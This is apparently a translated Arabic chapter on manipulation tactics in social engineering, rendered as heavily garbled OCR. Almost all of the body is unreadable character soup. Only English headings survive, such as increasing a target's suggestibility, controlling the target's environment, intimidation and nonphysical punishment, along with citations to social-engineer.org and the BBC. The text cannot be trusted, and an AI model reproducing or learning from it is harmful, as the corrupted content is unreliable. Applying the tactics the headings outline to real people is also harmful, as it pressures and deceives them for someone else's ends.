U .Aj^lill ^ ^ (JjjUII ^Vj^J ^5!^ ^J^U^l (jjT.^lu^t Jjj^il ("AjcUu^VI jal j^Jl" ^Ull ^JaLilt AjcUu^VI j 4JUJI ^1 jjuj 

4ijjuj>i l^jl 4i! Jj^j ^1 ^2fl ( jA Uui ^Ijli jii^l ^i^J ^ J^ ^ c *I^jI J j^- ^>*Aj t LxjIj (JLujj el u£ lit 4it jA ^UuaVI j^ 

.l^J L_lC.!>lj3t jl Aj| jjjJt Q j^* 3 ^ lLli^ 

L_fl j^Jl ^l>laajuj| ^1 5- J^ll! (^^- J 6(j!>lkVI cJ J^ (JjjUJI t flJ^JJ (J^li. (jxi ^lU^lt (J^.1 (jxi 4^ jIjJ^jVI j^l j^Jl ^AaajujJ (jl Uiajl (j^J 
dilal j^Jt j jnxnqll S^lL (j^ Jliia^U A-ia. jIjj^jVI jal j^Jl (JJJJ^J LJlc. .(JjjUII C5 lc 6j;ij£ jIjI IgJ (jj^J (jl (j^J j^^l J 
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(JjjlsU 4jJjaJl CjIjj ^ udll l^jS ^^JLlj Li IjJJ^ (J^ax^ll . jal jaJl (j* ^ jjll Ij^-I jLxiXi f^^)^ J^ 1 ^ .^^JJ CS - ^"*^ W C5"^ 

^^ijj 'Ltgull 4^^jJa olil£-ft c>5 ic <J jj^^JIj ;<Lab<JI (JI^joi! J£ <J!^la. (j-a SjAixJI tSjjaJI ciAjji ^ uJlj Cj jxJI < i5 Ja. jl ^ <_£jVI 

# 4_iiA Jl (_pasu j I dj j>Jl ^/'^ 4j l£ j J^ U' U -0 ^ 

^jL^VI (j* jjj£ ^ " JjLuJI jj^qMl CjIj " <J1<JI L — ^ CAj^^lcVI j J^lk (j-a '^-^1 6 c3^J jaJ ^^ cJ^-a JjjjjVI jal jaJl ^^u>n 

jL»JI CjI^jjoi jjaJI <3j|ja dAjl jjaJI jLJ (Jjjuj tSjjoiVI dj^l^ CjL >»lq^l cA^jjui (Jjjoj 6<Jli<JI cJ^f^ f Vli Jl" 

(j^^lcVI ^JJ (^jJl CllLiJaJl jl ^LoJl (j) jj£I 4_^J la»J Jl jail (j* jjll IjA JjaAj ;4jjJaLjl CLjUjojlixJl ^fl 1 g >nVl (JjjujJ ^gjJaLjl 

.LlxJI (JlxJI (jjoij ^jj^jjjaij (jjjil ^-^jl cJ^ (j* ^ J^J^ ( a ^ JUJ 

l^jj LiJJC AjjJaa (jjilalxlxi I jjjaj (JjjLII 6(jLaVI (j-a .A-iIajtJi ^ AjLjiLJI £ J-<Jl L$d\ (jj'q^M 4_ia JjJJjVI Jl J^Jl ^JaJjuU 

.^j^ > ^1 (jyjall ^J I^qI^ImiI (j* jj V (jal j tAjjjoj l_jc!>Ij3I <J£ (jjj 6(_£jal Sj-g .luc!^! t * il ajjaj 

(Social Incentives) ^pUL^VI jflljaJt 

(J*JJ LiJJC L^ j tfc£lL& Jl jaJl 4c a J^Vl J £juj! J (jUaj ^^ic LqIa^LujI ^^.jVl (^^ic AjcUu^VI jsl j^Jl 

jjVl ^J^> 4_icUu^.VI jsl j^Jl <J>ujjj ^Aj^IslSI jJ! oU^Jl (jgk 4j ^ jij Lq ^A j '^JUiaJ ! jjj^J JJ^t 

{draw of conformity) ^ j ^Ij^j ^ jW^^j .W^jj cJ^I c> O 3 ^^ c> ci^J ^jS 

al^yi J^^" (jl (j^J (jjoiill j oLi^Jl ^^^ic 6^.1 j ft^laJ ^I^VI jaL^JU S^jujUx -iaiijJ (J ^ ca^J^C- dj|j-<i .6 j3 

/ojjaiLlxJl ^Jljal L-jLjC. ^ (jlj^*^l > «a ^ (jl (j^^ 6 ^ J 1 ^ 

(j£Ldl Cj^^jJaxJl ^J^3 (JL^.^)3Ij jQ- gall djli <jJajlxJl (jl (>— Lia a I^IaH CjUV j3I ^£ Ul l\l tl Lud^ ^^JaxJl (jjm^. Ul 

^I^WI cdjudjj jJalj .1^1 ^ J^lj (^^-i*-!^ £J-ajl ^1 lj^ ^ <Lj IaII U»JJ ^ Ul til .V ^JJ tdj^yLjaxJl J J^-J (j£l ^3 

Jtxil <JC.U»1^.VI liljjlaj j (jxi 

<S jU^ "j^JI ^piill c_jjjiill 4jc.Lua.VI jfll j^JI JjiaJ j jjjaJ" (jl jisu jj 3j£jj*VI Ajj^JI CjI jSSI Co^la 6 1975 ^lc ^fl 

Li (JjlaJ j Ac ^1 A alia ^ CjIa jjjljjjoj ^Jjl ^^-?^l cJ^-^- (j^ J .^-t^J'-^ ^^JJ^ cJ^-^- ^jlflll (Jjla ^^Jc <JC.Lua.VI j^l jaJl S j3 (_^jj3 

.LjiUall ^ 4JJ jUI jISVI 

4jj3 <iaj| j (Jjla. j 6<iaLai3l j^»J jl ^jl j5l (jxi ^LajVI JJ^*^^ c^^- c5 ^ ^jlc t^^cLuaVI j^^Jl l-^J ^JJ^-g-^t ^Lill t_jjl£ 

•^ixjjt-all j L_J^Ua3l (jjj 

^jSAi ^jcl oJaVI jflt jaJl (jl (jja ^ .<jLl11 C-JT.>^a (j3 ^ AjcI oJaVI jfll jaJl SjIjI (jl jA <S£ C5 Jaj3l J^aJl lijJ ^uUJjll ^tnl^VI" 
A ajjll 4-Jlc 4jjjla. ^1 aJa ajll d jLLj jJwU . ^>^l ^ ^ ^ ( „ lilajj jal jaJl (jjoij SjIjIj l_ic.!^j3I (jli '6jjj£ <! > nj l^uaajj lAjJJaj 

alajl (5JlaJI) lJs&\ jA\ ls 1c 4jjuoii3l jixJlj l^jLjII <ujjLuJ ^lajVI J^L^I ^jjIjjxJI <Jjaj3l JjLj _<allLxJl AjcLuaVI jfll jail 

."AjcI <uaVI J^l jaJl AjaAI ^^Ic J^jJ ^ulinll ojA (j-d <J£ ,(jjjjjl<Jl <j!>Lj 
<a-jJal j o^Uall 6JA ,(j^aajaJl ^ ^—^^ J ^>?^ ^ J* > ^ ^^'O^ ^^LuaVI j^-^-!t AjjjIa (J^aia. jl ojL j t(_£^)al ojLsuj 

LaK b (JIj1aVI (jia^)il ^-!>ljua£ <>iljajjaj| ^jj Li LJlc ^jls ^Li (j^aajai ^cC jj L ^^^joi (jjijaJ^J LiJJC ,(jj£&!^<J! (jxi CjIc j-<^a-xi ^ L^ jj^a 

. J5L<iJ L_fl jjuj L-flJ^J! (jl JJ jj L_fl jjuoS ;iaxjJall j3 jj <C *1\ 

^^IcVI cJ^^J ^1 (j^ JJC> ^~ Ul ^ cf^* UJJ^ UJ^y^ 1^] i—ilajVI ojA jj L_fl jjuj L_flj£ (J^LojIj .(_^ j3 (jLu IjA 

. jjjjaJI (j* U ja (jj£j jlj Ija (jl jjjj ^AaJI j c5 j5 jjjL <! {Peer pressure) Cj\ j^^l -la ^ ja .^jJI jajj ^1 Ajc-LuaVI 

(jl jJ*j Ljja-J I jJJ^ J^J U^J - *^ J 6 C5^J^ U^J^l '^J^^W ^^JJ^) U^^-W^ L>^ ^ ^ l_jj£ 2007 .AjcI ^I^VI jal jaJl Jxc 

: JL3I Jajl Jl J^U (> 4j1c ^^ILVI ^LoJ ^Ij "lUJI (jl^ 4JcUiaVI Cj1£jJJI l_jSI jCj lMJ [AJcUiaVI jaljaJl" 

http://w ww. social-engineer, or g/wiki/archives/Manipulation/Manipulation-Social-Incentivespdf.pdf 

(jjill ^1j3 j V 1 \^ (jjilalJI Jjlaj LajLujI ^ .2007 ^ual I^jSIj < j^JI ^^Lj ^LojIjj jIj^ ^Lua!)U SjAo ^1 jj j& jjj^I 

;^^lVnuil _^jlajj^l ^ dilc a (jjLuu Lijjc ^ijl h j ^ (J-alxjll cJ-^l ^ 'V^Jj^I" ^JJ^ 
(_£l j jaj ^JC- (jxi jll C5 lc t JLixJI <Jatjjj jjjj ^lijj^aVI J ja j jjc ^Lual jfll ja tSliA (jl ^1 jJjujJ L^jII LL^a jj ^1 ^uljjJl 

(jla <jcl aJaVI jfll jaJl ( . UjuU ,(j\j\A3l (jiajjxjll ^Jaa jl ^LjVI La jl jj^J ( ; UjoJ J-<ixil ^ ^j!>Lij ^1 JLislSI J^a. (j>i Ajajla. <J>il jC 

Jal (jjjil JLixJI 4_iaijj| (j>i jj jj ^lijj^VI j j^-j (jl ^a ^nall 1^ ^^^1 c5 jj^q ,L_xi (JaxJI jjc ^jlaui Sjcla ^ (jjaaljjj JLixJI 

.^jlajj^l (j>i 6jjS jj^I ^aA (jjill cJ^*^! ^^-^1 (j^ (J^J ^jIsJj^I (j-<» SjjS 
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o jSfl ;4j^ji3l tjLJ ^ a - k£31 j JUxll ^a^ll ^jj U£ . J*l*JI *bV <^£3I <^U3I ialgJI J^l ^*JI ^ ol^Vl jal j^JI 

^1 jlJ ^^Ujl c> XlO C5^^ ^IaxIojI Jo ^jUs^^I (j* oj^a ji&l jjill JIasJI Jx^j (1) ^1 tilti ^ al^VI jal j^JI 
XlO ^Ujl ^I^xIojI Jo ^ uiajj (j* oj^a jj£I j& ^ill JSVl Jo (Jja^ (jjill JIaxJI (2) .j^*-*^ 

<jc;U1^VI jal j^J3 JL^all jjVI (jli tillil (j*jg a\\ jiitill j^Vl <jla J! ji<JI b* Jo J^UJI Sj^S £j jjj jli <U j*oj .S^tUI 

.^L^j] Cj1£jj^3I *bl 

iastjJall t . ll jr> £xa (J^J^*^ - *a .^tlx-all (JaslSI (_£ jlud-o Jo bLuol <Jfj| jl L. 1* > .^1 £§1 jll J JajlJ L_fl jjuj (j^akjuJl (jl i>5 i*J s-lfS,!^! J J^-J 
.4o ^a^xJl Jo AjxJfSall dlbUSl! j ^IaC JLaslII jj£I Lajb j j& SjbVI J S.\]-> <JaIj C*1UA .(JjjUII J-^ J^ J^jH U' J**^ 

.C-i^Jl b& J 4 jjjSII <j£Ij 

4_^.IjjjojI qj^jxj ^jjjUII ^mi^ cJ^-^- Cy* ■" (tail- getting) o^A-^ lS^I" 4_ioL*l^.VI (j^ ^ ^I^IujI ^ l_j jLujVI li& 

(j* IaIij till AA\1i\ (JxjVI (Jjj jl^ (J^a j3 (jx» JlL (jjiilajxJl (j* o^lj j^jj ^aJ 

(JIjjuJ! (j-^Jj 6l_jU£3I b^ (jUaj (jc 4_^.jLi. (_^^>^.l ^^lili (jl (j-^j .I^I^jjojI ^jj ^^ill ^ jll ^1 jjVI dijou] 4j^l!l3l jal j^JI 

(MANIPULATION IN SOCIAL ENGINEERING) A^UL^I <^ 

,^JjJ U» <Jjl3 ^^ic (jy^)ia (jC (illi (jx» J-^lj 64_^.l^)3lj qjjxAj a^iat-^j tillj o (jjjSij (jj^kVI (J*^- (j-* L_lC.!^i3l 

o^iajjaJI jl t^U^. t4_L<u^i3" jl m a <L^)Iaj jj^ijll jl (JaxJI ^^Ic jU^V" (^-^j ^ j .^pj dijau] (Co£Yciofi) ^jfi^i^ 
(Jx^. l^l^klaaV ^-ULJI / a>j^JI (j-d CjU-^ j!>.>i3Ij t^al ^<Jlj c_ >\ j j-^ill j^i*-^ 4jjoiii3l S jlll \ * iklu^j dIj^VIj L_ic!^i3l ."S jllU 

^3 ( . Llll miVI (J^asu L_1C.!>Ij3I ^JJ <jU L_fl^Jl <JJJ (jl ^JjJ V ^I^Vl (jjjYlg a\\ .^J^ UJ^ ^** 1 J^ J 6 Jjir > dll 

L_fll^Al (jxi ^.l j ,til3i <jLuj j t^Jj^Jl (j^a JJ^I j (jJll^Jl <Jj3 (j-d ^ajJ j£ I^I^JjojI ^aJJ (j£J j tA^ljj^j ^Tjh^ j l^. cJ'^^ UJ^ 
il^jV 4jJajC j^i AijjUl t a^\l ^stJjj LdHc .<! JJJ>» VI ^^Uu^-VI JasuJallj 4 jj jlill 4^^^^ A ^ ^ 4-^^^! 

.fiiLiJV <J L_jX.!^JJ ^^Ldl^Vl ij^ all 

3joj1^JI loal ^jj (j^3 j t^^Jjoj 5- jjJa Cjb l_ic.!>Ij3I (jl (jU^-VI (j-a , Vq*iyj bUJ ^jj (jl cili£ aj t jliicVI i^.1 ^ 

(Increasing a Target's Suggestibility) <-5^> ^ ^ 

,(_£^kVl Ajjj^JI CjI jLujVI jl lajLuj cibaia jj ^^lill (NLP) ga *-^ ^-?^^>^^ f ^ i^^l lUA^ (jSaaI! (j>» l_a^JI Aic ^.L^jVI j 

L5 lLi. <ilalxJl (jl (j-VdJ ^^-ill (_£^)^-Vl CjULdjVI jl JJ^all jl ^J^l ^Ij^ ^1.^1 ml ^ (JjjUII Vn^'i (jC dj|j3 L_u£ (JjAjjJ dlS j ^ 

Ujjuj cJj^J clA^ -C5^^^] C5^] O^t^ ^ laJL a I Clll^. .L_fl^JU L_lC^\jJ (jl^ (j^a^juj ^ du£ Ld^ic (JaslSI b^ dlli (--ylj 

^^)ia ^aJ .^alall ^Ujjoj (j>» djl^d (jn<ftA jl ^Jjl ^1 J^- <^lja£L V I ^ 1^ ^j^>^ udll djjlj ttilli .^LoUjI ^ ^H3l jlii ^aJ LljL^j] 

(jl l^jLuj (j-<i ^^jII (JjLoj jll (j-<i Iajjc- jl jl^aVI jlj^ cJ^^- UJ-^ ^^J^-^ ^-^ a ^> 3 H ^>*-^ ^>^VI (j^>^ >*M1 l^ja (JjSj ^^ill 3JL^JI 

.l^j^i JjUj ^1 jlSaVl uJj 

(jl jllj 6djUJ£Jl l^Ldjajj ^^1 jjj^IIj A a ^luuol\ CjIjUxJI 6L_JC.!^j3I b^ j^J J>JI Cjbl^cVI (j-« ^U3I ^ aJ al^VI (jjj^i^xJl 

.<jJa jc jj£I c V^ll J*^J (jl (j-laj cilli J£ ,^I^jj^I! Sjllk-oJl (jjipLJl 

(> ^ali ^1 (jj-UI (jo cj^jj ^Battle for the Mind) ^JKj J^?^ ^r^^ 3 

lAyj^/i ^jU.Ua L_fl^JI (jl ^au (jjjUll l^cjj (j-^j dal all (j-<i ^ alia a ^1 jjl tilU^a tdla jj"^ laaj .(JjjUIU l_ic^Ij3I l^J^Lk 

(_^ill cJ^Jl ^ (j^ J Sj^V^ ^ ( ♦ 1 » "0 C C^^^ f^ 1 ^ l5^^ ^ ^ ^ > ^ ^ ^b^^ml (j-V<»J C ^C.L<U^.VI (JJJ.Vlg ^11 
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JLu^VI j L-L^l l 4_iLa*_l jsu I j^IS dii^. <The Real Hustle J niln^ t (jc BBC uj^ j^ 2 ^Lik> ls^] J < JLiall Jc 

^IjjaiJ (jj-ajli (JjjUII <jl£ .< _la i nil J^ij ^IjjuJ (JjjUU Cll^<uuj J^lj l£J^^ J C^^" <J^-^> (j* <^H^J 'I^A J-**^ L jl^JaV 

,1a jjjjujl jll Dj^iill (j-a j^l ^ g *^ * y^- Jc <J jj^^J] 

£>i& J (j-a 11a JiLa e-^pxii J jkl I^jV SApjuoll SjUsVI lg-S dijl£ .SjjLa. ^jSU t^Jl^JI <atj±lajj tSj^iill djjluil 6^.1 j Sl^al 
ciliJI djLa jl*-* jj j t fljlgj) ^^>j JL^jI <LatiiV S j la > >i ^ Igil IgJ <Jlii SjUsVI S jji J l-ic^UU ^1 Jsl (jjjuoLj <J ^ inr.l 64_La.^all 

.IgJ ftjlSVI * jJ^a J U-a j - ^ 4(jjjLud^VI ^-i^a ^ill ^IjJiiVI .AijJ Jj^ tSUi Clilxi .1$jjjU> ^JUa-ail IgJ 
j^Jl Jx^Jjoj 4_iilalc. AliJ (j^liJ ^ ^I^JjojI ^aJ (j-aj t^JjJaixJl 4_Ax!aV! t4_ljJaLall tjlilal s-Lajoil ^ ; W J La L_fl^Jl Ai^st-a 

(Controlling the Target's Environment) <-iifS) Jp SjkiuJ) J_ 

,4_Jj^Jl 4ijjuJj 4(JUl^.Vlj tdljjijVI Jc 4_iC.LaIa.VI 3 i 0 II J a l^lLuJj La Lllc L_fl^Jl 4jJJ Jc 0 JaJjullI 

jl t fljj^alll J L-it^AVtj c_jc!>IjJI Jc j^lS U^j" ^aj3 (^-g-*^ cr^S 4-icLal*.VI CjUiltj '"K;*!! (Jjoaj (j<a l^3^ ^ L ^ 

AjjS obi Liajl 4jJ ^1 CjI^VI Lo Aijx-<J L^^ll A-iol <ua>VI fiK^^l J Iklual oj^Sl) .^l^Jl U^jjj ^1 <Ljia3lj jjSiilt 

du£ j ,^^L^xJl (JU^jI (Jj > *al q'i ^^ic <J jj^^JI ^JjJ (_^ill ^L<ixil ^ jjIS J;ii-!l ^^L^xJl (jC laall ^ic 6^.1 j <L^)ia3l C-LaAaJLujI ^3 

djj^3 lie ^ . ^ > j t^JJJJ ^ J j^JU <Af)<:\\\ liA ^l^klojl ."AjIjUJI" (>aj*J <U,V^uil ^lila c_jLud^ J jj^a^ll IjjlS 

JiLa I la^udj (jl (j£-<ia1I (j>i ^^ll ^ ^£^ill ,l_ic.!>Ij3I 4_u£ill a I i^JLujI (j^-^j l_a^JI ^^^ic ^jltj. ^ i^ILujj <L^la3l ^1 

.Jxa t . Ujujj ^j) l^jUjj ^ Ujjj (_^JJ V jl t * a ^^^ ^L<uudll jl t^Uakj^U AiilS (J^ajS La^ic l_jIjjSVI 

(j^aj U j^j SjliUnll ^Uil tl^iftSL Alnll ^ ^aall cil2£ <u V iA <illa^ Jl lJ^JI L-ilaJ laJaaJ Clu£ lil VJ 6 JUJI Ajt-nJaJ 

Jl ^H^J L_fl jjoj 6 Jj^aJl ^llxll J jl Cljjljyi ^1 jjoj cl^j^LujJ jll AjcLal^VI ^)jl j^l .Cj j^kJl j lajjaaall J^rluiiui 

?1 ^jlc 6^)IaJjaill Ajjj jll jj^UxJI ^^A U» t (J j^^ll ^^>^-aJ .'^A^ll ^11^ S^^Ludll Jc Jj^^Jjoj t flj£ laJaaJll difl jll (J^asu ^UjaS 

JjS CjUi j1s«-a1I ^ j Ai^UJl ^UJ ^bjL 13 j c3>l^ cJij^ (j^lj "(j-aL-a jib Jjill" ^> JL AjaJt ^Ui^VI O-^ll 

.C V^\| l^j ^j^J (jl a^I^aII IAA3JJ (^jakl Aiialc ^l jl 6^3^ ^ J> tA^ljlU ^j^J d V^ll 

(Forcing the Target to Reevaluate) fgfcM S^j Jl ui^il jU^I 4. 

1^. ^^Jjuj tilii^jll li^ .4_ilc ^LlII (3^° (jj^J (jl (j^A-all (j-a L_fljall 4_ii!alxJl S JaJjuJl jl 4L_fl^Jl da I ^Ja o <c j/(jiaJjij 

.3qjq«\ <j| Jc <1 JlL Uua tiUjj l^^JI J*^l ^^1>>n AiV 
(jl^alb (jj^xjau (jjill (JjjUII to^j^c CIjI^ .^LiaJl cJ^-^- (j* j^ll (jc- (jjl^ n (jjill <il^3 jl I jIxIujj! Aj£j1I 11a AAaJLjjj L_iAlAAll/L_aj| Jail 

.(JjJafll ^A La (jj^su V AjIsAj^I j Aj^jIc (jl LaLaJ 1 t Yi'q a (jj^J (jl (j^-aJ 
(iill3£ (_>J^1 Laj (j>»l j& La (J 4_xulsu Cilia AjI lalat a ^jj^j o^lc-V (j^a^juall (Jjc^ <Lj <Jj^akjuoll AjcI al^VI A i u II ^ jlLo^a Jc^ 

La (JJJ;ilj djl^^jjuoll 4_jajLjjaj ^A La jl 

Jl c fl>^il ( ■ UjujJ (jl (j^-aJ (_^ill (JIjjuoII (j-a l^i^. <joj JjA^ 6Aa.l j ^aJ^ (j-a 4JjLa-a ( \\ ^JJ^J I j^aAa^LujJ (jjicLala.V I (jjm.V^ ^11 jj (JS 

_ JJAJJ (jl Al t . UjujJj ^ jjJa ^all Jc <ia ^a ^JjVl 6^lcl 
AjojLloj l^J^ Jill A^jjuoll dal au^a dlL gaj| ^3 L— n£j tdal at-l^all cJ*-?^ Ajailaxlall CjIx-UaII ^jALa ( ^ - gajSVI J tJLLall <J-iJjuj Jc 

;<JL^jVI I^A ^-^aj c*ljl£-alj Jl jj V Clu^. .CjI laLjl^Vlj AjjoaLLall CjL^a j^-ill S-l^)^-! (jj^ dlJ JjVI (j-a PDF (Jj^^*^ <J "LajL^ 

J jj^^Jl ^j^ Jjjj JaxJI L-la.L^a m A* la3 lO'OOO (j* J^' UJ^ J^^ til^lLal A-nlla ^jJal (jl AjjI j ABC (j^ ^' 'W^-J^" 

Jacl (jl (j^-aJ .UxS ^a Jl jIxjojVI (jiajC A-a^)^ C-La3 ^1 , <JjJaSl ^A La <J*ij (jl \ jj£ ^jl£ lil La Ai^)x-al jLtjaal ^pa JJC Jc 

"ftSUi JjVl jWtfl ^ajli J^ J Jj^lj ^a> Jl JaI5 (jl (j£aJ .ji^L^ J ^Lal=^l Jl L_lAli LI ?URL ^ 

^jjjj Jj <1 I^A t . ujujj ^1 . j^ill (jj^ (j^ L_aLall liA liilij Jjj^ CjUjuII l_j jALq j jjj > n ^l^jVI Jc ^J-**^ ^Lj£j1I IIa (jl ^jcI V 

,<1 l^joaJj^J ^aJ jll 4_uiLiuill 
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(Making the Target Feel Powerless) J*A* J** *t 

Clula LjJC *L^LuaVI A_ujJJ£il J a iklLujJ L Lllc .Jlxi tdjJaJ ^ialj '1-^ ^ alia* AjlJjIa jajLlI jt L_a»_jJalL J*j^J t * a ^ H cJ*^- 
^HacV L-flJ^Jl SjJfl ^aJC jl ^laJjaiVI ^aJC j-G L-bJaiJl .L-flJ^Jl Jc AJaLuJ AJ jjaj (jl ^ ui jl AjjJalc Aj llfljj A_g_a. AjUjjll 

,4 laLalll 6 jl > 1 JXjuJj <93 J til nlj A-lxa. Lui tL-flJ^Jl JJ£J jl £tJjJ ^aaA^Jl tAjUjJOl ciiLLa.1 

Jtaj) tAjiaVl CjUjSjjII ^jal J .Ajc.Lua.VI jfll jaJI fljajjJj jUjcVI <aUaj Ac jc ^/(j^jjij] £>jA ^jailou a£j jj£I c5jal Aijjla tSBiA 

Ja jl ^alsu Ja Jjjall IjA j* t^s^ ^ Jtj0 dJclij 6 JLLV £CJaj^all £ Jail LjJC .AjlaJjll A^juitl £CjuuU ^aLUl *Lj) (jjjjlaJl JjS j* 

f " JasU ^aL^l j-a (^s-*-^ cJj^-^J tdlli jl^L Jl (^5*-^ <^l ?Aj\JjuJ| Ll)lal$Jj| JjJa Sjaluia Aajx-G £A CAlL^a jistJ AajjuJl OJA ^alc 
^Ja. £-taJl ciSiA jl jt jffiffl Cj3 jll Ajj3 <jju1 Ait Jc ^LkjVI cJj^Jl ^IkcV £^ljJ Aijj jajJL jxAj jt AJ ^-C-Uall ^£ jLj 

Ail Aijjlaj jljS jlail ajIc JLlLj a]£jouJ! ^ J^LjII Ajiba J ja jjaajll La j jaL jl ja-<u V Ail . jajJL jxjuj a Liajl ja-<u 

.Ujtajl Juij V Ail lJjju 

^iLal jC CjL jlx-a Jc <J jj^aJl ^aC j (J^l L_ijjjVI Jc £3 j>» (J^Ual ^aJ Cilia. .^^-A 6jJa.VI (J j$ '^ slJ tiljjalll IjA ^aJaJjoal J3 

l^ili t^a jIjcL dulS Ac ^aa^JI oja (jalj ^iLa.) jc CjL jlx^JI ^jj^j ^^Sc IjjIS jl£ V ( ; i ; ti< ; . I jjia ja <jjj1! 

CjL jls«_xJl j>» ^J-^l (Ja.J t^jjjLllj ^ajtJL jj^xjujj t^jjjLlI ^UJ^ .CjL jlx-<Jl ojA ^^-Sc (J jj^aail Alistxi jjjlx-d (Jg£aJ jl ( . lilaJJ jl ja-<»J 
;AjAa^<J! ^IL13 ^jL^ill (j^asu JJjojj IjA jc Aj^kl! ^^joi CjjJj^I .Aj IjjjjJaJ Ajl^ill ^Ajlj V ^il jj3^)*J ^^jII ^LjoiVI J^J 

http://news.bbc.co.Uk/2/hi/business/8469885.stm 

(Dishing Out Nonphysical Punishment) jjii) j!iUal ^ 

AjjS jjaj jl ja-<»j jcLauJl &jA _ jLLdVl jlj^ jl t^lkll j tjViVl j c_jjjJL jj^xjaj ^ixaj ^ajJL jj^xjaj L-flj^Jl cJ*^ (j^ jJl -^^J^l 

."^JL^all ojUIuiI" J ^t Jxij J3 Luj ^j^JI jl Aa.jjl 

.^al^xJl lAJJjJ c _^j3I ALjUL Jjll t 'a^U LjJJjoJ jl ja-<U ^^jll ttiUdllj Jill t . Ujujj j| j£-dJ 1*3 jld jl£ L» f.UaC-1 ^aJC ^^ic L-iill 
6L_jL3I ^jil c ^cLu>. J^a. l^jA ^^ic ^Jajjuu Igil CjjI j jal j tAuc-LuaVI AjojjjjJl CjLjJI ^aJaa ^ ^3 jViVI ^Ijajjoal ^ jjSI V LI 

.^•IjIiaVI (^^ic Aj jJ-« j5£l l^ixa-j Lui 6L_flJjJl Aa. j jJjJ ^>al (_3Jj3 j> '<~ir \ AjC.Lua.VI A uaJJ^Jl 
(j^aajuj jjJ ( . la L ^aJ ^CjL jlx-xJl ^^Sc J gaail AJjla-xi ^aLJl ^-^aj ^ Vjl L_flJ^Jl j-d ^a.1 g <ill 

(Intimidating a Target) <-5^t <-*u^ 

L_iiA jjII ^aljajjojl j c flj^Jl iajjj ^a jflJ jl ciljj C-Ua .^Uc-LuaVI A-jojjj^ll ^ ^jjI^jH ^^ix^JL A^laajjujl ^ jaaj j3 c _^j3I 1 ajjaj ^jjjj] l_jjA jjII 

.Ajia. (_3^>iaJ ( . uA jjII a\ lal> a I jalj tAjlc 

Aij^laJ J^)13 L_flJjJl L_fljjaj ^^jII j ^5^>al AjjLuj L_jal jc tilLA jjaj jl ja-oj jl j^_ajjjaaj ^1 (_^JjJ jl ja-<uJl j-d JLLgVI ^aJC ^Ij^l 
^aajll ja-<u AajjUl £>jjj . jI^jj ^jL^ajaVI ^Uaill jL jLjc^U ^<ua^JL l_ic.^j13 Ajaill IjA ^Jalaaj L Lllc CjL jaaJl A m ^ 

.^aaaJ ^^jll tdlS j^ L_aial jxll 

L_fljjaj ja-aj A_a^ tl a.1 h<\ ;<1 jxjuLoJI 6^)Iai3l .L_fljjaj3l jW^I cJ^-^- j-* ^JC-LuaVl Ajojjj^Jl CjlfljiaJ ^ A^ljajjoal <l3 

,^jjjL3I L_fljjaj] Liajl Ija. A3 jj j>» CjIjjjxj CjJajll ja-<u , jjjjjall 
^aajoi 4_xi!>lc. Jxa. _L_liA jjII j-d ^ jJjolq LLuJa ^jjoJI JJ^ull jl <J^> mall JJ^)Jl (J^^ 3 jc- ^L*^l (J^jj 6 ^jW^I cJ^^VI cJ^^ (jg& 
^aAsu jj^stjaj L_flJjJl cJ*^- ^A c_JC^L3l (iliSaill IjA ^ L_flJ^Jl ,L_fl jaJL jjuZH ^jjjLII (j^asu cJ*-?^ jl j^J A5 j^>*-<» JJC l^jLjJa a *Ld^aJ 
. jl jVI CjI j3 CjS jll tillj J jlaj jal j t Asu Lu3 l^jlc ^ajjj L_fl jjoj c _^j3I AajjUl ^ Jxi jj aJ ( . Ujujj j) ja-<u ^j3I t^^l J ^^J*^l 
LLu ^ajtlL ^>stjaJ ^^al ^aajoJL c_jc!>Ij3I .AjI^ <i]| AjcI <ua.VI diLLuaJl ^Q^^j jjjojjj^xJl JjS j-d ^laij ojA l_ic.!>L3I CjLjjj ^jajjoj* 

>C5 lial<i Aa.1 g <ill ^aLI <J jLjII jL ^>*jaJ jl l^-l jl AJ t ^ \y«\ 
(jjj.V^ all til jjj ^jlmll c_jc!>Ij3I ^ , jjjLII cjlajujt j-d 6 jjc. jc Ajc-LuaVI A uajj^Jl AjujjLia l_jc!>Ij3I c allaj l_ ua La ^aA IjA 
jl a£jj^3I j ^aJ J3 JJ^\ jV ^J V ^jjal J3 Ail ciljJJ lJj^II jl£ j] -( 3aV Cj3j ^ lJj^II jxAj c flj£ A^j V j t^LuaVI 

B t*UiS Aalha L-baul Igial AjjS Jja^ ^ Ajc.Lua.VI AjojJ%1I c_jc!>Ij j* ^jaVI c_jil jaJl . JxilL AjII (JLull ^j j3 ^^aaJJl 

(Using Positive Manipulation) v^^t ^lill^l ^ 

.^4? A >^Utl CjLc jllj jlaaVI ^ ^1 UJ^ ^^-11 c^- (^jtmtl c_jc!^Ij3I Jla jLjcVI ^ lJIjaVI 4-1 yr'W^ S^^l 
.Ale pl^jjVI J^c ^^UJI ^Laj V ^J^ll 'g^W^VI luc^jII jalj .cilLA J jj^i jll Aji£ J Cula^ja.VI 
JJC tilLA j . jJjJl j3l CjLc. jl (JliuxiVI ^ LoaJ ^JliJal £A ^LVI (Jclij* A JflJa (J ja ^jL^ajll (J^asu Coat a^ CjI jlxjJ j-Q 

.AjjlajVI CuLjiill ojA (jiasu AulLlI aLuiSVI (J^suj ^Vl (JjjJJ^u! SjjLo ^lauVI c_ic^Ij3I Jc Jaliill jx» JJa 

A-ula ^^a-Lua J-aa-a .J 
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(Disconnect Your Emotion from Their Behavior) tf^jL* CP &i i-^tiM iitUH - 

.liL L_JC^Ijj L_fl jjoj l^jji t (J^^JJ L_aial j*Jl tiljj ^J^-aJ .1^ A£-a i V^lm^l til jLoj jc <L^a£la ciL A > *al -sll L_aJal jslII ^^ic JatLaJl 

# <J J*-^ Li jlajXJ C flj£ j <J JXJUlJ Ld ^^ic 6jl-)Julll ^ UJ"^ J 6 £f^^ ^qjnUllj J*-*£j jl iA'& rtJ 

*LLll j* JSaSj jlS-aVI A-nLiSI jC.Iui.a1I ojlajjuall Jl Liajl ^tiaJ tSblfl .cjSaJjoill JjUaj ^J^- UJ^ (J *^ 

^3 o jlaJjoil! ^3 

(J<r^ /Ml jl£ lili , jjjUII ^JJ* JjJC- jj^J V (_^ill J 'AiialxJl j-a jl^J l&jl ^ .^-1 > >1J jjjUII £jJa j L^a^l 4 £ L_alal jxJl (Jj^aS 

jj^U L_fl^Jl jlaJjsu iA'& a ) ^j^ll j-a J^l AjjalaJl j* jlajaJl jl£ lij j£l j 4,11a. (jjlall L>* t ♦ 1 * ^ ^ l5 jlou> jlgJali t^^JjJalU J*-*^ 

^laulS V I— ll£ lij ^ * aja-vl (JjL^J ^Jl AjUjill £x» <Ld£.| jx» L_Llal jxl\ s-LLI 

